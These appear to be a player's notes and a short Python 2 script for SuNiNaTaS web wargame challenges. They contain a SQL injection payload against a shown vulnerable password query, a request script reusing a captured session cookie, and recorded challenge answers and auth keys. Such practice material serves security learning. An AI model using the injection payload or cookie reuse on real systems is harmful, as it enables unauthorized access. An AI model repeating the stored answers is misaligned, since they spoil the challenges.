SSo

import urllib, urllib2

url = "http://suninatas.com/Part_one/web07/web07.asp"
url2 = "http://suninatas.com/Part_one/web07/web07_1.asp"

header = {'Cookie': "ASPSESSIONIDCCRBCADD=FMCHFPOCKMPIDIOPDCBFBLCE"}

req = urllib2.Request(url, headers=header)

res = urllib2.urlopen(req).read()
req1 = urllib2.Request(url2, headers=header)
res = urllib2.urlopen(req1).read()
print res

README 글 비밀번호 쿼리

"select szPwd from T_Web13 where nIdx = '3' and szPwd = '"&pwd&"'"

sqli -> ' or '1' like '1

authkey = suninatastopofworld!

md5(authkey) = 65038b0559e459420aa2d23093d01e4a

쿠키에 입력

Rome's First Emperor를 구글링

auth key = Augustus

<!--Hint : 12342046413275659 -->

eval 함수 -> alert 변경